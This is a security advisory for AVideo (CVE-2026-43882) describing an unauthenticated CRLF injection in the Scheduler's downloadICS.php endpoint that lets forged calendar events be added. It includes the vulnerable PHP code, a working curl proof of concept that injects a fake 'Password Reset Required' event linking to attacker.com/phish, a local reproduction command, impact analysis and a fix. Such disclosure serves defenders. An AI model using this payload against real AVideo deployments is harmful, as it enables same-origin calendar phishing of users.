GHSA-MWGH-92M2-WVHV

Vulnerability from github – Published: 2026-05-05 22:14 – Updated: 2026-05-13 14:20
VLAI?
Summary
AVideo: Unauthenticated CRLF/ICS Injection in Scheduler downloadICS.php Allows Calendar Event Spoofing
Details

Summary

The unauthenticated plugin/Scheduler/downloadICS.php endpoint passes attacker-controlled title, description, and joinURL parameters into Scheduler::downloadICS(), which builds an ICS calendar file via the ICS helper class. ICS::escape_string() (objects/ICS.php:167-169) only escapes , and ; and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines — including END:VEVENT / BEGIN:VEVENT pairs that add entire attacker-controlled calendar events. Because the malicious .ics file is served from the victim's trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen SUMMARY, URL, LOCATION, and DESCRIPTION landing in the victim's calendar after import.

Details

Vulnerable code path

plugin/Scheduler/downloadICS.php — unauthenticated entry point:

if(!AVideoPlugin::isEnabledByName('Scheduler')){
    forbiddenPage('Scheduler is disabled');
}
if(empty($_REQUEST['title'])){ forbiddenPage('Title cannot be empty'); }
if(empty($_REQUEST['date_start'])){ forbiddenPage('date_start cannot be empty'); }

Scheduler::downloadICS($_REQUEST['title'], $_REQUEST['date_start'], @$_REQUEST['date_end'],
    @$_REQUEST['reminder'], @$_REQUEST['joinURL'], @$_REQUEST['description']);

There is no session check, no CSRF token, no user-role check — only an empty-check on title/date_start and a plugin-enabled check.

plugin/Scheduler/Scheduler.php:367-382 passes inputs directly to the ICS builder:

$props = array(
    'location' => $location,
    'description' => $description,   // attacker-controlled
    'dtstart' => $dtstart,
    'dtend' => $dtend,
    'summary' => $title,             // attacker-controlled
    'url' => $joinURL,               // attacker-controlled
    'valarm' => $VALARM,
);
$ics = new ICS($props);
...
echo $icsString;

objects/ICS.php:167-169 — incomplete escape:

private function escape_string($str) {
    return preg_replace('/([\,;])/','\\\$1', $str);
}

Per RFC 5545 §3.3.11, TEXT values must also have CR/LF either folded or encoded as \n. This implementation does neither. ICS::to_string() (line 101) joins every property with "\r\n", so any raw \r\n sequence embedded in a value breaks out of the property line and injects new ICS directives.

Verified exploit output

Running the builder with a CRLF-laden description produces a file with two distinct VEVENT blocks (the second entirely attacker-controlled):

BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//hacksw/handcal//NONSGML v1.0//EN
CALSCALE:GREGORIAN
BEGIN:VEVENT
DESCRIPTION:Hello
END:VEVENT
BEGIN:VEVENT
SUMMARY:Injected
URL:http://attacker.com
DTSTART:20260501T000000Z
DTEND:20260501T130000Z
SUMMARY:Legit
URL;VALUE=URI:https://example.com
DTSTAMP:20260424T082123Z
UID:69eb2803d1aa2
END:VEVENT
END:VCALENDAR

The injected BEGIN:VEVENT / END:VEVENT pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning.

PoC

  1. Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments).

  2. Send an unauthenticated GET request with CRLF-encoded payload in description:

curl -o malicious.ics \
  'http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup&date_start=2026-05-01+12:00&description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity'
  1. The returned file contains two VEVENT blocks. Import into any standards-compliant calendar client — both events appear in the victim's calendar. The injected event renders with an attacker-chosen clickable URL.

Local reproduction (without needing a running server) using the same code path:

php -r "require 'objects/ICS.php'; \$p = ['description' => \"Hello\r\nEND:VEVENT\r\nBEGIN:VEVENT\r\nSUMMARY:Injected\r\nURL:http://attacker.com\", 'dtstart'=>'2026-05-01', 'dtend'=>'2026-05-01 13:00', 'summary'=>'Legit', 'url'=>'https://example.com']; echo (new ICS(\$p))->to_string();"

Produces the two-VEVENT output shown above (verified).

Impact

  • Same-origin calendar phishing. The .ics is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments.
  • Arbitrary event spoofing. Attacker controls SUMMARY, DTSTART, DTEND, URL, LOCATION, DESCRIPTION, and may add further ICS properties (e.g. ORGANIZER, ATTENDEE). Many mainstream calendar clients display the URL field as a clickable link in the event body.
  • Integrity: Low — unwanted/forged events are added to the victim's calendar after they import the file.
  • Auth: None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo's scheduled streaming features.
  • Confidentiality / Availability: No direct impact.

Not a higher-severity response-splitting bug: PHP's header() blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers — only into the ICS body.

Recommended Fix

Strip or RFC-5545-encode CR/LF in ICS::escape_string() so newline bytes cannot break out of a property line. In objects/ICS.php:167-169:

private function escape_string($str) {
    // RFC 5545 §3.3.11: escape backslash, semicolon, comma; encode newlines as \n
    $str = str_replace(array("\\", "\r\n", "\r", "\n"), array("\\\\", "\\n", "\\n", "\\n"), $str);
    return preg_replace('/([\,;])/', '\\\\$1', $str);
}

Additionally, plugin/Scheduler/downloadICS.php should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on title, description, and joinURL — and joinURL should continue to be validated via isValidURL() (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every $_REQUEST parameter used by Scheduler::downloadICS().

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:14:31Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe unauthenticated `plugin/Scheduler/downloadICS.php` endpoint passes attacker-controlled `title`, `description`, and `joinURL` parameters into `Scheduler::downloadICS()`, which builds an ICS calendar file via the `ICS` helper class. `ICS::escape_string()` (`objects/ICS.php:167-169`) only escapes `,` and `;` and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines \u2014 including `END:VEVENT` / `BEGIN:VEVENT` pairs that add entire attacker-controlled calendar events. Because the malicious `.ics` file is served from the victim\u0027s trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen `SUMMARY`, `URL`, `LOCATION`, and `DESCRIPTION` landing in the victim\u0027s calendar after import.\n\n## Details\n\n### Vulnerable code path\n\n**`plugin/Scheduler/downloadICS.php`** \u2014 unauthenticated entry point:\n\n```php\nif(!AVideoPlugin::isEnabledByName(\u0027Scheduler\u0027)){\n    forbiddenPage(\u0027Scheduler is disabled\u0027);\n}\nif(empty($_REQUEST[\u0027title\u0027])){ forbiddenPage(\u0027Title cannot be empty\u0027); }\nif(empty($_REQUEST[\u0027date_start\u0027])){ forbiddenPage(\u0027date_start cannot be empty\u0027); }\n\nScheduler::downloadICS($_REQUEST[\u0027title\u0027], $_REQUEST[\u0027date_start\u0027], @$_REQUEST[\u0027date_end\u0027],\n    @$_REQUEST[\u0027reminder\u0027], @$_REQUEST[\u0027joinURL\u0027], @$_REQUEST[\u0027description\u0027]);\n```\n\nThere is no session check, no CSRF token, no user-role check \u2014 only an empty-check on `title`/`date_start` and a plugin-enabled check.\n\n**`plugin/Scheduler/Scheduler.php:367-382`** passes inputs directly to the ICS builder:\n\n```php\n$props = array(\n    \u0027location\u0027 =\u003e $location,\n    \u0027description\u0027 =\u003e $description,   // attacker-controlled\n    \u0027dtstart\u0027 =\u003e $dtstart,\n    \u0027dtend\u0027 =\u003e $dtend,\n    \u0027summary\u0027 =\u003e $title,             // attacker-controlled\n    \u0027url\u0027 =\u003e $joinURL,               // attacker-controlled\n    \u0027valarm\u0027 =\u003e $VALARM,\n);\n$ics = new ICS($props);\n...\necho $icsString;\n```\n\n**`objects/ICS.php:167-169`** \u2014 incomplete escape:\n\n```php\nprivate function escape_string($str) {\n    return preg_replace(\u0027/([\\,;])/\u0027,\u0027\\\\\\$1\u0027, $str);\n}\n```\n\nPer RFC 5545 \u00a73.3.11, TEXT values must also have CR/LF either folded or encoded as `\\n`. This implementation does neither. `ICS::to_string()` (line 101) joins every property with `\"\\r\\n\"`, so any raw `\\r\\n` sequence embedded in a value breaks out of the property line and injects new ICS directives.\n\n### Verified exploit output\n\nRunning the builder with a CRLF-laden `description` produces a file with two distinct `VEVENT` blocks (the second entirely attacker-controlled):\n\n```\nBEGIN:VCALENDAR\nVERSION:2.0\nPRODID:-//hacksw/handcal//NONSGML v1.0//EN\nCALSCALE:GREGORIAN\nBEGIN:VEVENT\nDESCRIPTION:Hello\nEND:VEVENT\nBEGIN:VEVENT\nSUMMARY:Injected\nURL:http://attacker.com\nDTSTART:20260501T000000Z\nDTEND:20260501T130000Z\nSUMMARY:Legit\nURL;VALUE=URI:https://example.com\nDTSTAMP:20260424T082123Z\nUID:69eb2803d1aa2\nEND:VEVENT\nEND:VCALENDAR\n```\n\nThe injected `BEGIN:VEVENT` / `END:VEVENT` pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning.\n\n## PoC\n\n1. Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments).\n\n2. Send an unauthenticated GET request with CRLF-encoded payload in `description`:\n\n```\ncurl -o malicious.ics \\\n  \u0027http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup\u0026date_start=2026-05-01+12:00\u0026description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity\u0027\n```\n\n3. The returned file contains two `VEVENT` blocks. Import into any standards-compliant calendar client \u2014 both events appear in the victim\u0027s calendar. The injected event renders with an attacker-chosen clickable URL.\n\nLocal reproduction (without needing a running server) using the same code path:\n\n```\nphp -r \"require \u0027objects/ICS.php\u0027; \\$p = [\u0027description\u0027 =\u003e \\\"Hello\\r\\nEND:VEVENT\\r\\nBEGIN:VEVENT\\r\\nSUMMARY:Injected\\r\\nURL:http://attacker.com\\\", \u0027dtstart\u0027=\u003e\u00272026-05-01\u0027, \u0027dtend\u0027=\u003e\u00272026-05-01 13:00\u0027, \u0027summary\u0027=\u003e\u0027Legit\u0027, \u0027url\u0027=\u003e\u0027https://example.com\u0027]; echo (new ICS(\\$p))-\u003eto_string();\"\n```\n\nProduces the two-VEVENT output shown above (verified).\n\n## Impact\n\n- **Same-origin calendar phishing.** The `.ics` is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments.\n- **Arbitrary event spoofing.** Attacker controls `SUMMARY`, `DTSTART`, `DTEND`, `URL`, `LOCATION`, `DESCRIPTION`, and may add further ICS properties (e.g. `ORGANIZER`, `ATTENDEE`). Many mainstream calendar clients display the `URL` field as a clickable link in the event body.\n- **Integrity:** Low \u2014 unwanted/forged events are added to the victim\u0027s calendar after they import the file.\n- **Auth:** None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo\u0027s scheduled streaming features.\n- **Confidentiality / Availability:** No direct impact.\n\nNot a higher-severity response-splitting bug: PHP\u0027s `header()` blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers \u2014 only into the ICS body.\n\n## Recommended Fix\n\nStrip or RFC-5545-encode CR/LF in `ICS::escape_string()` so newline bytes cannot break out of a property line. In `objects/ICS.php:167-169`:\n\n```php\nprivate function escape_string($str) {\n    // RFC 5545 \u00a73.3.11: escape backslash, semicolon, comma; encode newlines as \\n\n    $str = str_replace(array(\"\\\\\", \"\\r\\n\", \"\\r\", \"\\n\"), array(\"\\\\\\\\\", \"\\\\n\", \"\\\\n\", \"\\\\n\"), $str);\n    return preg_replace(\u0027/([\\,;])/\u0027, \u0027\\\\\\\\$1\u0027, $str);\n}\n```\n\nAdditionally, `plugin/Scheduler/downloadICS.php` should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on `title`, `description`, and `joinURL` \u2014 and `joinURL` should continue to be validated via `isValidURL()` (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every `$_REQUEST` parameter used by `Scheduler::downloadICS()`.",
  "id": "GHSA-mwgh-92m2-wvhv",
  "modified": "2026-05-13T14:20:32Z",
  "published": "2026-05-05T22:14:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mwgh-92m2-wvhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/764db592f99e545aa86bb9a4ad664ffd14c38ba5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated CRLF/ICS Injection in Scheduler downloadICS.php Allows Calendar Event Spoofing"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…